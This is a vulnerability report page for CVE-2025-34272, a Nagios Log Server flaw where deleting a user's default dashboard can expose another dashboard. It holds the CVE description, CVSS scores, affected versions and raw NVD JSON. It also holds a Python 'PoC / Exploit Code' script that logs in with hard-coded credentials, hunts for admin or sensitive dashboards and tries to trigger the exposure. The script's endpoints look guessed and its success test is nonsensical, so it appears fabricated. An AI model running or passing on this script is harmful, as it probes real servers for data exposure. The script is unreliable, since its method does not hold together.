Security Vulnerability Report
中文
CVE-2025-34272 CVSS 6.5 MEDIUM

CVE-2025-34272

Published: 2025-10-30 22:15:48
Last Modified: 2025-11-06 16:29:25

Description

In Nagios Log Server versions prior to 2024R2.0.3, when a user's configured default dashboard is deleted, the application does not reliably fall back to an empty, default dashboard. In some implementations this can result in an unexpected dashboard being presented as the user's default view. Depending on the product's dashboard sharing and access policies, this behavior may cause information exposure or unexpected privilege exposure.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:* - VULNERABLE
Nagios Log Server < 2024R2.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-34272 PoC - Nagios Log Server Default Dashboard Information Disclosure # This PoC demonstrates the information disclosure via unexpected dashboard fallback TARGET_URL = "https://target-nagios-log-server.com" ATTACKER_DASHBOARD_NAME = "Malicious_Info_Disclosure_Dashboard" def exploit_cve_2025_34272(): """ Exploitation steps for CVE-2025-34272: 1. Authenticate to Nagios Log Server with low-privilege account 2. Create or identify a sensitive dashboard 3. Set this dashboard as user's default 4. Delete the dashboard (simulating admin action or cleanup) 5. Observe unexpected dashboard presentation as fallback """ session = requests.Session() # Step 1: Authentication login_url = f"{TARGET_URL}/api/auth/login" credentials = {"username": "low_priv_user", "password": "password123"} response = session.post(login_url, json=credentials) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated") token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Get list of dashboards accessible to user dashboards_url = f"{TARGET_URL}/api/dashboards" response = session.get(dashboards_url, headers=headers) dashboards = response.json() # Step 3: Set a sensitive dashboard as default sensitive_dashboard_id = None for dashboard in dashboards: if "admin" in dashboard.get("name", "").lower() or "sensitive" in dashboard.get("name", "").lower(): sensitive_dashboard_id = dashboard["id"] break if not sensitive_dashboard_id: print("[-] No sensitive dashboard found for exploitation") return False # Step 4: Set as default dashboard set_default_url = f"{TARGET_URL}/api/user/preferences" preference_data = {"default_dashboard_id": sensitive_dashboard_id} response = session.put(set_default_url, headers=headers, json=preference_data) if response.status_code == 200: print(f"[+] Set dashboard {sensitive_dashboard_id} as default") # Step 5: Delete the dashboard (requires admin privileges or simulated) delete_url = f"{TARGET_URL}/api/dashboards/{sensitive_dashboard_id}" # Note: In real scenario, this might be done by admin cleanup response = session.delete(delete_url, headers=headers) # Step 6: Trigger dashboard load and observe fallback behavior main_page_url = f"{TARGET_URL}/dashboard" response = session.get(main_page_url, headers=headers) # Check if unexpected dashboard is presented if "unexpected" in response.text.lower() or "sensitive_data" in response.text: print("[!] VULNERABLE: Unexpected dashboard content exposed!") return True return False if __name__ == "__main__": print("CVE-2025-34272 PoC - Nagios Log Server Default Dashboard Fallback") print("=" * 60) result = exploit_cve_2025_34272() print(f"\nResult: {'Vulnerable' if result else 'Not Vulnerable or Exploitation Failed'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34272", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:47.810", "lastModified": "2025-11-06T16:29:24.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Nagios Log Server versions prior to 2024R2.0.3, when a user's configured default dashboard is deleted, the application does not reliably fall back to an empty, default dashboard. In some implementations this can result in an unexpected dashboard being presented as the user's default view. Depending on the product's dashboard sharing and access policies, this behavior may cause information exposure or unexpected privilege exposure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "87E74637-713C-4DD7-B97E-2F247B7B12B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "B93D415C-B2C0-42CE-B9B3-29C29A3DCC16"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "997B64B5-A3F2-4D0E-B05E-CCA76D598C18"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "D20F6746-83DD-49AE-8C3D-AF2FFB47A89E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "5EF32AF5-19EA-495A-AB28-F78F33DDEC3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.2:*:*:*:*:*:*", "matchCriteriaId": "4C26DE7A-37AA-4570-81C1-2E0C1A9026F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3:*:*:*:*:*:*", "matchCriteriaId": "52C22468-A773-49C8-81AD-9B76C26BFFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.1:*:*:*:*:*:*", "matchCriteriaId": "7CEC223A-A3EE-4C51-8B71-E19C73B9215C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.2:*:*:*:*:*:*", "matchCriteriaId": "DB7A3A2A-DF36-4495-A5FE-826085120997"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.3:*:*:*:*:*:*", "matchCriteriaId": "0AC10FEF-5606-4949-9E5E-E44FE1CE418D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.4:*:*:*:*:*:*", "matchCriteriaId": "EC2BBD0F-12FE-4A8F-894E-ABAEEE081E10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.5:*:*:*:*:*:*", "matchCriteriaId": "16861134-A375-4918-8171-77C14A3351EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r2:*:*:*:*:*:*", "matchCriteriaId": "6AAEC3D7-AD80-4647-9130-F42CE4785906"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r2.0.1:*:*:*:*:*:*", "matchCriteriaId": "DB3DFA03-0D49-4E43-9041- ... (truncated)